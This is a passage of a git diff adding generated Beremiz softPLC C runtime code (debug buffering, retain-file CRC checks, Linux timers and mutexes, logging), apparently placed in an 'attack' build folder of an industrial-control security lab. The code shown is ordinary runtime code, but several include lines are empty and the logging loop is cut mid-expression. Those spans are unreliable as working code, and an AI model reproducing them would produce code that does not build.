*)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] 